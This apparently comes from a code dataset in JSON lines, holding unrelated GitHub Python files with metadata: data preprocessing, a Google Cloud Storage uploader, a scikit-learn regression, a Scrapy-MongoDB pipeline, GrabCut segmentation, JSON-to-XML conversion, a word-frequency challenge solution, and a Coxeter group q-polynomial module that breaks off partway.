{"api_name": "fbtimer.model.project.Project", "line_number": 19, "usage_type": "call"}, {"api_name": "fbtimer.service.auth.auth", "line_number": 24, "usage_type": "call"}, {"api_name": "fbtimer.FRESHBOOKS_BASE_URL", "line_number": 26, "usage_type": "argument"}, {"api_name": "fbtimer.model.project.Project", "line_number": 33, "usage_type": "call"}]} {"seq_id": "24010753685", "text": "from ehi_utils import load_json, dict2dotdict\nimport argparse\n\ndef main(configs):\n timespells = configs.timespells\n for ts in range(1, int(timespells)+1):\n features = f\"{configs.DATA_PATH}/TS{str(ts)}/features.csv\"\n print(f\"\\nProcessing feature file of TS{str(ts)}\")\n output_features = f\"{configs.DATA_PATH}/TS{str(ts)}/generated/user.features\"\n\n nodes = {}\n # read nodes\n f = open(configs.node_file, 'r')\n for i, l in enumerate(f.readlines()):\n # repoID => nodeID mapping\n nodes[l.strip()] = str(i)\n f.close()\n\n # read lines\n f = open(features, 'r')\n g = open(output_features, 'w')\n # skip csv header\n if configs.feature_header:\n f.readline()\n for l in f.readlines():\n # convert userID to nodeID\n try:\n vec = l.strip().split(\",\")\n g.write(\"{} \".format(nodes[vec[0]]))\n g.write(\" \".join(vec[1:]))\n g.write(\"\\n\")\n except:\n vec = l.strip().split(\",\")\n print(f\"node {vec[0]} not in the graph\")\n g.close()\n f.close()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Parser feature file generator\")\n parser.add_argument(\"--json_path\", type=str, required=True,help=\"Path to the json config file\")\n args = parser.parse_args()\n\n configs = load_json(args.json_path)\n main(dict2dotdict(configs))\n", "repo_name": "HongyiZhu/EHI", "sub_path": "preprocess_data.py", "file_name": "preprocess_data.py", "file_ext": "py", "file_size_in_byte": 1510, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 39, "usage_type": "call"}, {"api_name": "ehi_utils.load_json", "line_number": 43, "usage_type": "call"}, {"api_name": "ehi_utils.dict2dotdict", "line_number": 44, "usage_type": "call"}]} {"seq_id": "24244253879", "text": "from google.cloud import storage\nfrom tenacity import retry, stop_after_attempt, wait_random_exponential\nfrom f_utils import u_file\n\n\n@retry(stop=stop_after_attempt(5),\n wait=wait_random_exponential(multiplier=1, max=10))\ndef upload(json_key: str,\n project: str,\n str_bucket: str,\n path_src: str,\n path_dest: str):\n client = storage.Client.from_service_account_json(json_key, project=project)\n bucket = client.bucket(str_bucket)\n blob = bucket.blob(path_dest)\n blob.upload_from_filename(path_src)\n if not storage.Blob(bucket=bucket, name=path_dest):\n raise Exception(f'{path_dest} is not found on Google Storage')\n\n\ndef upload_dag(path_dag: str) -> None:\n json_key = 'd:\\\\tiktok\\\\repo\\\\viewer.json'\n project = 'gfunc-377012'\n str_bucket = 'us-central1-noteret-bf653c49-bucket'\n path_src = path_dag\n filename = path_dag.split('\\\\')[-1]\n path_dest = f'dags/{filename}'\n upload(json_key=json_key,\n project=project,\n str_bucket=str_bucket,\n path_src=path_src,\n path_dest=path_dest)\n\n\n\"\"\"\njson_key = 'd:\\\\tiktok\\\\repo\\\\viewer.json'\nproject = 'noteret'\npath_src = 'd:\\\\professor\\\\repo\\\\mp4\\\\7075396968930954497.mp4'\npath_dest = '7075396968930954497.mp4'\nstr_bucket = 'noteret_mp4'\ncopy(json_key=json_key,\n project=project,\n str_bucket=str_bucket,\n path_src=path_src,\n path_dest=path_dest)\n\"\"\"\n", "repo_name": "valdas1966/mypy", "sub_path": "f_google/u_storage.py", "file_name": "u_storage.py", "file_ext": "py", "file_size_in_byte": 1432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "google.cloud.storage.Client.from_service_account_json", "line_number": 13, "usage_type": "call"}, {"api_name": "google.cloud.storage.Client", "line_number": 13, "usage_type": "attribute"}, {"api_name": "google.cloud.storage", "line_number": 13, "usage_type": "name"}, {"api_name": "google.cloud.storage.Blob", "line_number": 17, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 17, "usage_type": "name"}, {"api_name": "tenacity.retry", "line_number": 6, "usage_type": "call"}, {"api_name": "tenacity.stop_after_attempt", "line_number": 6, "usage_type": "call"}, {"api_name": "tenacity.wait_random_exponential", "line_number": 7, "usage_type": "call"}]} {"seq_id": "42003763004", "text": "import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_squared_error, r2_score\n\n# Lista ścieżek do plików\nfiles = ['drug-use-by-age2017.csv', 'drug-use-by-age2018.csv', 'drug-use-by-age2019.csv', 'drug-use-by-age2020.csv', 'drug-use-by-age2021.csv']\n\n# Wczytanie plików do DataFrame'ów i złączenie ich\ndf = pd.concat((pd.read_csv(file) for file in files))\n\ndf['age'] = df['age'].apply(lambda x: (float(x.split('-')[0]) + float(x.split('-')[1])) / 2 if '-' in x else float(x))\n\n# Przygotowanie danych\nX = df[['age']] # zmienne niezależne\ny = df['alcohol-frequency'] # zmienna zależna\n\n# Podział danych na zestaw treningowy i testowy\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# Utworzenie modelu\nmodel = RandomForestRegressor(n_estimators=100, random_state=42)\n\n# Trenowanie modelu\nmodel.fit(X_train, y_train)\n\n# Przewidywanie na zestawie testowym\ny_pred = model.predict(X_test)\n\n# Ocena modelu\nmse = mean_squared_error(y_test, y_pred)\nr2 = r2_score(y_test, y_pred)\n\nprint(f\"Mean Squared Error: {mse}\")\nprint(f\"R-squared: {r2}\")\n\nageToPredict = pd.DataFrame({'age': [25]})\n\nprediction = model.predict(ageToPredict)\n\nprint(f\"Przewidywana częstotliwość spożycia alkoholu dla osoby w wieku 25 lat: {prediction}\")\n\n", "repo_name": "karoljedrzejewski/sklearn_alcohol_frequency_prediction", "sub_path": "drugs_by_age.py", "file_name": "drugs_by_age.py", "file_ext": "py", "file_size_in_byte": 1376, "program_lang": "python", "lang": "pl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.concat", "line_number": 10, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 10, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}]} {"seq_id": "32377121743", "text": "# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport re\nfrom pymongo import MongoClient\n\nclient = MongoClient(host=\"127.0.0.1\", port=27017)\ncollection = client[\"spider\"][\"yangguang\"]\n\n\nclass YangguangPipeline(object):\n def process_item(self, item, spider):\n item[\"content\"] = self.process_item_content(item[\"content\"])\n print(item)\n collection.insert_one(dict(item)) #使用dict把item转化为字典\n return item\n\n def process_item_content(self,content_list): #处理content字段的值\n content_list = [re.sub(r\"\\xa0|\\s+\",\"\",i) for i in content_list] #把不要的字符串替换成空字符串\n content_list = [i for i in content_list if len(i)>0] #不要空字符串\n return content_list\n", "repo_name": "520leon/spider", "sub_path": "SinaSpider/yangguang/yangguang/pipelines.py", "file_name": "pipelines.py", "file_ext": "py", "file_size_in_byte": 895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pymongo.MongoClient", "line_number": 10, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 22, "usage_type": "call"}]} {"seq_id": "22883361232", "text": "# Author: LiShang\nimport numpy as np\nimport networkx as nx\nfrom PIL import Image\nimport sklearn.mixture as mixture\n\n\nclass GrabCut(object):\n\n def __init__(self, image_path, rect, _gamma=2.0):\n self._GC_BGD = 0 # {'color' : BLACK, 'val' : 0}\n self._GC_FGD = 1 # {'color' : WHITE, 'val' : 1}\n self._GC_PR_BGD = 2 # {'color' : GREEN, 'val' : 2}\n self._GC_PR_FGD = 3 # {'color' : RED, 'val' : 3}\n\n self.K = 5\n\n self.image = Image.open(image_path)\n self.image_array = np.array(self.image, dtype=np.float64)\n self.h, self.w, channel = self.image_array.shape\n\n self.src = int(self.w * self.h)\n self.sink = int(self.w * self.h + 1)\n\n self.mask_array = np.zeros([self.h, self.w], dtype=np.uint8)\n self.graph = nx.Graph()\n\n self.fg_gmm = mixture.GaussianMixture(n_components=self.K, init_params='random', warm_start=True, verbose=2)\n self.bg_gmm = mixture.GaussianMixture(n_components=self.K, init_params='random', warm_start=True, verbose=2)\n\n self.gamma = _gamma\n left_diffs = self.image_array[:, 1:] - self.image_array[:, :-1]\n upleft_diffs = self.image_array[1:, 1:] - self.image_array[:-1, :-1]\n up_diffs = self.image_array[1:, :] - self.image_array[:-1, :]\n upright_diffs = self.image_array[1:, :-1] - self.image_array[:-1, 1:]\n sum_squared = (left_diffs * left_diffs).sum() + (upleft_diffs * upleft_diffs).sum() + \\\n (up_diffs * up_diffs).sum() + (upright_diffs * upright_diffs).sum()\n beta = sum_squared / (\n 4 * self.image_array.shape[0] * self.image_array.shape[1] -\n 3 * (self.image_array.shape[0] + self.image_array.shape[1]) + 2)\n self.beta = 1 / (2 * beta)\n\n # r_diff = self.image_array[:, 1:] - self.image_array[:, :-1]\n # d_diff = self.image_array[1:, :] - self.image_array[:-1, :]\n # self.beta = np.sum(np.square(r_diff)) + np.sum(np.square(d_diff))\n # self.beta /= (2 * self.w * self.h - self.w - self.h)\n # self.beta = 0.5 / self.beta\n\n # init the mask\n self.mask_array[:, :] = self._GC_BGD\n self.mask_array[rect[1]: rect[3], rect[0]: rect[2]] = self._GC_PR_FGD\n # self.show_mask()\n\n def build_graph(self):\n self.graph.clear()\n\n self.graph.add_nodes_from(np.array(range(self.w * self.h + 2), dtype=np.float64))\n\n # add edges to source\n for i in range(self.h):\n edges = np.array([(self.src, i * self.w + j) for j in range(self.w)], dtype=np.float64)\n # weights = -self.bg_gmm.score_samples(self.image_array[i])\n\n weights = -np.log(np.dot(self.fg_gmm.predict_proba(self.image_array[i]), self.fg_gmm.weights_.T))\n weights = np.reshape(weights, (-1, 1))\n for j in range(self.w):\n if self.mask_array[i, j] == self._GC_BGD:\n weights[j] = float('inf')\n\n edges = np.hstack((edges, weights))\n self.graph.add_weighted_edges_from(edges)\n\n # add edges to sink\n for i in range(self.h):\n edges = np.array([(i * self.w + j, self.sink) for j in range(self.w)], dtype=np.float64)\n # weights = -self.fg_gmm.score_samples(self.image_array[i])\n weights = -np.log(np.dot(self.bg_gmm.predict_proba(self.image_array[i]), self.bg_gmm.weights_.T))\n weights = np.reshape(weights, (-1, 1))\n for j in range(self.w):\n if self.mask_array[i, j] == self._GC_FGD:\n weights[j] = float('inf')\n edges = np.hstack((edges, weights))\n self.graph.add_weighted_edges_from(edges)\n\n # add to right edges\n for i in range(self.h):\n edges = np.array([(i * self.w + j, i * self.w + j + 1) for j in range(self.w - 1)], dtype=np.float64)\n diff = np.array(self.image_array[i, 0: -1] - self.image_array[i, 1:], dtype=np.float64)\n diff = np.sum(np.square(diff), axis=1)\n weights = np.multiply(self.gamma, np.exp(-self.beta * diff))\n weights = np.reshape(weights, (-1, 1))\n edges = np.hstack((edges, weights))\n self.graph.add_weighted_edges_from(edges)\n\n # add to lower edges\n for j in range(self.w):\n edges = np.array([(i * self.w + j, i * self.w + j + self.w) for i in range(self.h - 1)], dtype=np.float64)\n diff = np.array(self.image_array[0: -1, j] - self.image_array[1:, j], dtype=np.float64)\n diff = np.sum(np.square(diff), axis=1)\n weights = np.multiply(self.gamma, np.exp(-self.beta * diff))\n weights = np.reshape(weights, (-1, 1))\n edges = np.hstack((edges, weights))\n self.graph.add_weighted_edges_from(edges)\n\n def grab_cut(self):\n\n # iter\n for cc in range(5):\n fg_set = np.where(np.logical_or(self.mask_array == self._GC_FGD, self.mask_array == self._GC_PR_FGD))\n bg_set = np.where(np.logical_or(self.mask_array == self._GC_BGD, self.mask_array == self._GC_PR_BGD))\n # self.fg_gmm = gmm.GaussianMixture(n_components=self.K)\n # self.bg_gmm = gmm.GaussianMixture(n_components=self.K)\n # print(len(self.image_array[fg_set]), len(self.image_array[bg_set]))\n\n self.fg_gmm = self.fg_gmm.fit(self.image_array[fg_set])\n self.bg_gmm = self.bg_gmm.fit(self.image_array[bg_set])\n # print(self.fg_gmm.means_, self.fg_gmm.weights_)\n # print(self.bg_gmm.means_, self.bg_gmm.weights_)\n\n prob_array1 = np.zeros([self.h, self.w])\n prob_array2 = np.zeros([self.h, self.w])\n for i in range(self.h):\n for j in range(self.w):\n prob = np.dot(self.fg_gmm.predict_proba(self.image_array[i, j].reshape(1, -1)), self.fg_gmm.weights_.T)\n # prob = np.exp(self.fg_gmm.score_samples(self.image_array[i, j].reshape(1, -1)))\n prob_array1[i, j] = int(255 * prob)\n prob = np.dot(self.bg_gmm.predict_proba(self.image_array[i, j].reshape(1, -1)), self.bg_gmm.weights_.T)\n # prob = np.exp(self.fg_gmm.score_samples(self.image_array[i, j].reshape(1, -1)))\n prob_array2[i, j] = int(255 * prob)\n\n # Image.fromarray(np.uint8(prob_array1), mode='L').show()\n # Image.fromarray(np.uint8(prob_array2), mode='L').show()\n\n self.build_graph()\n print(cc, 'build graph done!')\n\n energy, partition = nx.minimum_cut(self.graph, self.src, self.sink, capacity='weight')\n back, fore = partition\n print(energy)\n print(self.sink in fore, self.src in back)\n fore.remove(self.sink)\n back.remove(self.src)\n\n for k in fore:\n i, j = int(k // self.w), int(k % self.w)\n if self.mask_array[i, j] == self._GC_PR_BGD:\n self.mask_array[i, j] = self._GC_PR_FGD\n for k in back:\n i, j = int(k // self.w), int(k % self.w)\n if self.mask_array[i, j] == self._GC_PR_FGD:\n self.mask_array[i, j] = self._GC_PR_BGD\n\n print(cc, 'mask changed.')\n\n # self.show_mask()\n self.save_foreground(str(cc) + '.jpg')\n\n def show_mask(self):\n mask = self.image_array.copy()\n mask[\n np.where(np.logical_or(self.mask_array == self._GC_BGD, self.mask_array == self._GC_PR_BGD))\n ] = np.array([255, 255, 255])\n Image.fromarray(np.uint8(mask)).show()\n\n def save_foreground(self, fp):\n mask = self.image_array.copy()\n mask[\n np.where(np.logical_or(self.mask_array == self._GC_BGD, self.mask_array == self._GC_PR_BGD))\n ] = np.array([255, 255, 255])\n Image.fromarray(np.uint8(mask)).save(fp)\n\n\nif __name__ == '__main__':\n\n # gc = GrabCut('./dog2.jpg', (80, 22, 221, 142), 8.0)\n # gc = GrabCut('./cat2.jpg', (42, 34, 255, 239), 8.0)\n gc = GrabCut('./test3.jpg', (19, 7, 242, 200), 8.0)\n\n gc.grab_cut()\n gc.save_foreground('./result.jpg')", "repo_name": "Li-Shang/cv_learn", "sub_path": "grabcut/grabcut_sklearn.py", "file_name": "grabcut_sklearn.py", "file_ext": "py", "file_size_in_byte": 8161, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PIL.Image.open", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 25, "usage_type": "attribute"}, {"api_name": "networkx.Graph", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.mixture.GaussianMixture", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.mixture", "line_number": 28, "usage_type": "name"}, {"api_name": "sklearn.mixture.GaussianMixture", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.mixture", "line_number": 29, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 127, "usage_type": "call"}, {"api_name": "networkx.minimum_cut", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 162, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 163, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 163, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 170, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 170, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 170, "usage_type": "call"}]} {"seq_id": "34506135692", "text": "import xml.etree.ElementTree as ET\n\n\ndef indent(elem, level=0):\n i = \"\\n\" + level * \" \"\n j = \"\\n\" + (level - 1) * \" \"\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + \" \"\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for subelem in elem:\n indent(subelem, level + 1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = j\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = j\n return elem\n\n\ndef convert_json_to_xml(json_file):\n def converter(input, root, name):\n if type(input) is list:\n for i, item in enumerate(input):\n sub_tier = ET.SubElement(root, name + str(i))\n converter(item, sub_tier, name)\n elif type(input) is dict:\n for key, value in input.items():\n if key[0].isdigit():\n continue\n if type(value) in [list, dict]:\n mother = ET.SubElement(root, key)\n converter(value, mother, str(key))\n elif (type(key) is str) and (type(value) in [str, int, bool]):\n ET.SubElement(root, key).text = str(value)\n else:\n print('Key Type: ' + str(type(key)))\n print('Value Type: ' + str(type(value)))\n\n xml_root = ET.Element('root')\n converter(json_file, xml_root, 'default')\n indent(xml_root)\n\n return xml_root\n", "repo_name": "JostLuebbe/RiotAPIProjects", "sub_path": "WinRateCalculator/json_to_xml.py", "file_name": "json_to_xml.py", "file_ext": "py", "file_size_in_byte": 1535, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "xml.etree.ElementTree.SubElement", "line_number": 26, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 26, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 33, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 33, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 36, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 36, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 41, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 41, "usage_type": "name"}]} {"seq_id": "34996563042", "text": "from collections import defaultdict\n\nORDERED_CHARS = (\n \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\",\n \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\",\n \"w\", \"x\", \"y\", \"z\", \"á\", \"é\", \"í\", \"ñ\", \"ó\", \"ú\", \"ü\")\n\nword_count = defaultdict(int)\nlongest_word = 0\n\nwith open(\"../assets/challenge-3/pg17013.txt\") as f:\n word = \"\"\n while True:\n char = f.read(1)\n if not char:\n break\n char = char.lower()\n if char in ORDERED_CHARS:\n word += char\n elif len(word) >= 3:\n word_count[word] += 1\n longest_word = max(longest_word, len(word))\n word = \"\"\n else:\n word = \"\"\n\ndef transform_word(word):\n padding = [len(ORDERED_CHARS) + 1] * (longest_word - len(word))\n return [len(ORDERED_CHARS) - ORDERED_CHARS.index(char) for char in word] + padding\n\nword_list = sorted(\n word_count.items(),\n reverse=True,\n key=lambda word: (word[1], *transform_word(word[0])))\n\nfor case in range(1, int(input()) + 1):\n data = input()\n try:\n ranking = int(data)\n word, instances = word_list[ranking - 1]\n print(f\"Case #{case}: {word} {instances}\")\n except:\n ranking, instances = next(\n (word[0] + 1, word[1][1])\n for word in enumerate(word_list) if word[1][0] == data)\n print(f\"Case #{case}: {instances} #{ranking}\")", "repo_name": "xabinapal/tuenti-challenge-10", "sub_path": "challenge-3/challenge3.py", "file_name": "challenge3.py", "file_ext": "py", "file_size_in_byte": 1406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}]} {"seq_id": "511026797", "text": "#!/usr/bin/env python\n\"\"\"\nq polynomials for grassmanians, etc.\n\nSee also: coxeter.py\n\n\"\"\"\n\nimport string, os\nfrom time import sleep, time\nfrom functools import reduce\nfrom functools import reduce, lru_cache\ncache = lru_cache(maxsize=None)\nfrom operator import matmul\n\nimport numpy\nfrom numpy import alltrue, zeros, dot\n\nfrom bruhat.argv import argv\nfrom bruhat.smap import SMap\nfrom bruhat.element import Z\nfrom bruhat.poly import Poly\nfrom bruhat.todd_coxeter import Schreier\n\n# See:\n# https://en.wikipedia.org/wiki/Q-analog\n# https://math.ucr.edu/home/baez/week187.html\n\n\nring = Z\nzero = Poly({}, ring)\none = Poly({():1}, ring)\nq = Poly(\"q\", ring)\n\n\n\nclass Coxeter(object):\n \"\"\"\n Coxeter reflection group.\n \"\"\"\n def __init__(self, ngen, rel):\n \"\"\"\n rel : map pairs (i,j) of generators to m_{ij}\n (this is the Coxeter matrix)\n \"\"\"\n for (i, j) in rel.keys():\n assert 0<=i2:\n rel[n-3, n-1] = 3\n return cls(n, rel)\n\n @classmethod\n @cache\n def E(cls, n):\n rel = {}\n for i in range(1, n-1):\n rel[i, i+1] = 3\n rel[0, 3] = 3\n return cls(n, rel)\n\n @classmethod\n @cache\n def F(cls):\n n = 4\n rel = {(0, 1):3, (1, 2):4, (2, 3): 3}\n return cls(n, rel)\n\n @classmethod\n @cache\n def G(cls):\n return cls(2, {(0,1):6})\n\n\nA0 = Coxeter.A(0)\nA1 = Coxeter.A(1)\nA2 = Coxeter.A(2)\nA3 = Coxeter.A(3)\nA4 = Coxeter.A(4)\n\nassert A0 is Coxeter.A(0)\n\nG = A4.get_group()\nassert len(G) == 120\nassert G is A4.get_group()\n\nG = (A2*A3).get_group()\nassert len(G) == 6*24\n\nassert A2 == A2\nassert A2 != A3\nassert A4.subgroup([1, 2]) == A2\nassert A4.subgroup([0, 2, 3]) == A1 * A2\nassert A4.residual(2) == A2*A1\n\n\nB0 = Coxeter.B(0)\nB1 = Coxeter.B(1)\nB2 = Coxeter.B(2)\nB3 = Coxeter.B(3)\nB4 = Coxeter.B(4)\n\nassert len(B2.get_group()) == 8\nassert len(B3.get_group()) == 48\nassert len(B4.get_group()) == 384\n\nassert B3.residual(0) == B2\nassert B3.residual(1) == A1*A1\nassert B3.residual(2) == A2\n\nD0 = Coxeter.D(0)\nD1 = Coxeter.D(1)\nD2 = Coxeter.D(2)\nD3 = Coxeter.D(3)\nD4 = Coxeter.D(4)\nD5 = Coxeter.D(5)\nD6 = Coxeter.D(6)\nassert len(D4.get_group()) == 192\n#assert D3 == A3 # needs re-indexing\nassert D2 == A1*A1\nassert D4.residual(1) == A1*A1*A1\n\nE6 = Coxeter.E(6)\nE7 = Coxeter.E(7)\nE8 = Coxeter.E(8)\nF4 = Coxeter.F()\nG2 = Coxeter.G()\n\n\ndef shortstr(p):\n assert isinstance(p, Poly)\n keys = p.keys\n items = {}\n m = 0\n for key in keys:\n if len(key)==0:\n items[0] = p.cs[key]\n else:\n c, n = key[0]\n items[n] = p.cs[key]\n m = max(n, m)\n items = [items.get(i, 0) for i in range(m+1)]\n if max(items)>9:\n return \"(%s)\"%','.join(str(c) for c in items)\n else:\n return ''.join(str(c) for c in items)\n \n\n\nclass Poincare(object):\n def __init__(self, ring, q):\n self.ring = ring\n self.zero = ring.zero\n self.one = ring.one\n self.q = q\n\n def qbracket(self, n):\n q = self.q\n p = self.zero\n for i in range(n):\n p = p + q**i\n return p\n \n def qfactorial(self, n):\n q = self.q\n p = one\n for i in range(n):\n p = p * self.qbracket(i+1)\n return p\n \n def A(self, n):\n return self.qfactorial(n+1)\n \n def B(self, n):\n p = one\n for i in range(n):\n p = p * self.qbracket(2*(i+1))\n return p\n C = B\n \n def D(self, n):\n p = one\n if n==1:\n return 1+self.q # arghh...\n for i in range(n-1):\n p = p * self.qbracket(2*(i+1))\n if n>0: \n p = p * self.qbracket(n)\n return p\n\n def G2(self):\n q = self.q\n p = one + 2*q + 2*q**2 + 2*q**3 + 2*q**4 + 2*q**5 + q**6\n return p\n \n\n\ndef test():\n\n print(\"test()\")\n\n poincare = Poincare(ring, q)\n A, B, D = poincare.A, poincare.B, poincare.D\n\n assert q**0 == one\n\n p = (1+q)**5\n\n assert poincare.qbracket(5) == 1 + q + q**2 + q**3 + q**4\n\n assert poincare.qfactorial(3) == 1 + 2*q + 2*q**2 + q**3\n\n # These count points of the maximal flag variety over the\n # field with q elements:\n assert shortstr(A(0)) == \"1\"\n assert shortstr(A(1)) == \"11\"\n assert shortstr(A(2)) == \"1221\"\n assert shortstr(A(3)) == \"1356531\"\n\n assert A(3) == A3.get_poincare(ring, q)\n\n assert shortstr(B(1)) == \"11\"\n assert shortstr(B(2)) == \"12221\"\n assert shortstr(B(3)) == \"1357887531\"\n\n assert B(3) == B3.get_poincare(ring, q)\n\n assert shortstr(D(1)) == \"11\"\n assert shortstr(D(2)) == \"121\"\n assert shortstr(D(3)) == \"1356531\"\n\n assert D(1) == D1.get_poincare(ring, q)\n assert D(2) == D2.get_poincare(ring, q)\n assert D(3) == D3.get_poincare(ring, q)\n assert D(4) == D4.get_poincare(ring, q)\n\n p = D(4)\n p = p / (A(1)**3)\n assert shortstr(p) == \"1133443311\"\n\n #print(p)\n\n get = lambda p : p.substitute((('q',2),))\n assert get(p) == 1575\n\n assert get(B(1) / A(0)) == 3\n\n assert get(B(2) / A(1)) == 15\n\n assert get(B(3) / B(2)) == 63\n assert get(B(3) / (A(1)**2)) == 315\n assert get(B(3) / A(2)) == 135\n\n assert get(B(4) / B(3)) == 255\n assert get(B(4) / (A(1) * B(2))) == 5355\n assert get(B(4) / (A(2) * A(1))) == 11475\n assert get(B(4) / A(3)) == 2295\n\n top = poincare.G2()\n bot = A(1)\n assert get(top / bot ) == 63\n\n\n# here we stick B3 into F4...\ncalculation = \"\"\"\n111111\n 111111\n 111111\n 111111\n1111222222221111\n\n 1112111\n 1112111\n 1112111\n1111222222221111\n \n11222211\n 11222211\n 11222211\n 11222211\n 11222211\n 11222211\n 11222211\n 11222211\n112345677888776543211\n\n 1112111\n 1112111\n 1112111\n 1112111\n 